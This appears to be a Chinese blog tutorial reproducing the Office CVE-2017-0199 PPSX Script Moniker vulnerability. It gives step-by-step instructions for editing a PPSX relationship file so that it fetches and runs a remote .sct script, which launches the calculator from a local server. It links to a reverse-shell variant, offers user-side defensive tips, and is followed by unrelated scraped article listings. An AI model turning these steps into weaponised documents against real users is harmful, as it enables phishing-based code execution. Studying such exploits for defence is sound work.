在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本,使用起来稳定可靠,故而非常适合于漏洞学习新手测试调试使用,作为一个已经测试过该漏洞的新手,现将搭建环境和测试的全部过程呈献给大家,希望能对大家的学习有所帮助。

CVE-2017-0199实际上包含两个漏洞,其中一个称为“RTF URL Moniker”漏洞,另一个被称为“PPSX Script Moniker”漏洞,在这里我们演示一下PPSXScript Moniker漏洞的测试方式。

首先准备一台apache服务器,为了简化配置apache的过程,在这里我们直接安装xampp,XAMPP是一个把Apache网页服务器与PHP、Perl及MariaDB集合在一起的安装包,允许用户可以在自己的电脑上轻易的建立网页服务器,安装起来十分简单,无需配置其它设置。安装完成后,我们打开IE浏览器,输入http://127.0.0.1,如果能够跳转到XAMPP的欢迎界面,就认为服务器已经搭建成功了。

图1:XAMPP欢迎界面

如果你安装XAMPP时选择的是默认路径,那么你可以在C盘的根目录下找到该软件,下一步我们要做的工作时在服务器的目录下添加一个sct脚本,此处作为测试该脚本是否执行,我们让该脚本启动一个计算器程序,sct脚本代码如下:

图2:启动计算器脚本代码

我们将该脚本命名为1.sct,存放在C:\xampp\htdocs\路径下,以便于接下来我们使用的PPSX能够链接并执行改脚本。

第三步,我们修改ppsx样本文件,样本的地址可以从https://github.com/temesgeny/ppsx-file-generator网址处下载到。下载到的文件中包含一个python脚本和生成好的template.ppsx,我们直接改造template.ppsx模板,首先将改文件的后缀名改为.zip,然后将压缩文件解压,解压后的文件内容如下图所示:

图3:模板ppsx文件解压后文件内容

我们在路径ppt\slides\_rels下找到slide1.xml.rels文件,我们将图中用蓝色圈出的路径用我们自己服务的地址来替换,即更改为Target="script:http://127.0.0.1/1.sct"

图4:更改前slide1.xml.rels文件内容

更改完成后,我们将解压的四个文件重新以zip的格式压缩,这里注意不要直接压缩上一层路径的template文件夹,否则压缩后会出现两层文件夹,压缩任务完成后,我们把压缩文件的后缀名重新更正为template.ppsx,然后再次打开该文件,结果如下图所示:

图5:漏洞利用结果图

可以观察到,在打开ppsx文件后,我们嵌入在ppsx中的远程地址链接并下载了1.sct脚本,然后执行了该脚本,成功的开启了一个计算器程序。

关于RTF URL Moniker的漏洞测试在http://www.freebuf.com/articles/system/131969.html 这篇文章中写的非常详细了,实测能够成功复现漏洞,在这里就不再重复赘述了。

最后给大家推荐几个链接,在了解CVE-2017-0199漏洞的过程中,分别参考了这几篇文章:

(1)《Moniker魔法:直接在Microsoft Office中运行脚本》http://bbs.pediy.com/thread-219234.htm 这篇文章对漏洞发现的过程和原理描述的非常清晰,对底层比较感兴趣的同学可以了解学习一下

(2)http://www.freebuf.com/vuls/144054.html 这篇文章提供了一个ppsx的高级利用方式,在ppsx中嵌入了kali生成的回连木马。

​最后给广大用户朋友们提几点建议,防止恶意程序给您带来不必要的损失:    ​

1. 及时更新最新补丁,安装杀毒软件,最大限度保证自己不受恶意软件侵害

2. 若收到邮件包含附件,不要直接打开,很可能是利用这个漏洞进行攻击钓鱼邮件,一旦打开将直接中招,先查杀再打开,来历不明的邮件别收

3. 网上下的word文档、PPSX、PPT文件别随意打开,先查杀。

希望小子的文章值得你收藏与转发,关注安全小子,安全路上,你我同行:

Office远程代码执行漏洞CVE-2017-0199复现的更多相关文章

  1. Office远程代码执行漏洞(CVE-2017-11882)复现

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  2. 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

    Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...

  3. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  4. Office远程代码执行漏洞(CVE-2017-11882)

    POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...

  5. 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  6. Office CVE-2017-8570远程代码执行漏洞复现

    实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...

  7. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  8. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  9. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

随机推荐

  1. Cornerstone.js使用相关

    官网地址:https://github.com/chafey/cornerstone 简介: Cornerstone is an open source project with a goal to ...

  2. Oracle两张表关联批量更新其中一张表的数据

    Oracle两张表关联批量更新其中一张表的数据 方法一(推荐): UPDATE 表2 SET 表2.C = (SELECT B FROM 表1 WHERE 表1.A = 表2.A) WHERE EXI ...

  3. Oracle锁表处理操作笔记

    --查看锁表进程SQL语句1: SELECT sess.sid, sess.serial#, lo.oracle_username, lo.os_user_name, ao.object_name, ...

  4. Java开发中碰到的Map的坑

    这属于我在开发中碰过的坑 ,容器中存放者对象,当clear()的时候,出现的奇葩问题.好了,直接看代码: package com.DataType.yinyong; import java.util. ...

  5. Java基础语法<九> 接口与内部类

    1 接口  interface implement 接口的所有方法自动地属于public.因此,在接口中声明方法时,不必提供关键字public.   接口可以包含多个方法,接口中可以定义常量.接口中的 ...

  6. 使用stackOfIntegers实现降序素数

    使用stackOfIntegers实现降序素数 代码如下: package day06; public class TestSU { public static void main(String[] ...

  7. Html table 合并单元格

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. 谈谈localhost与127.0.0.1

    localhost意为本地主机,指这台计算机,是给回路网络接口的标准主机名,对应的IP地址为127.0.0.1,可访问本地服务器的web项目(http://localhost). 那么它们有什么区别呢 ...

  9. 20170709_python_学习记录

    a='ABC';变量赋值时发生了什么 1.在内存中创建一个字符串'ABC' 2.在内存中创建一个变量a指向字符串'ABC' list [] 相当于数组 指向可以变动 str[1,2,3,4] str. ...

  10. 让 Python 带你进入开源的世界——Git 从入门到与他人协作开发

    让 Python 带你进入开源的世界--Git 从入门到与他人协作开发 我认为开源社区中有很多优秀的资源,并且可以帮助进阶中的程序员提高编程能力和水平.所以,我发起了<HelloGitHub&g ...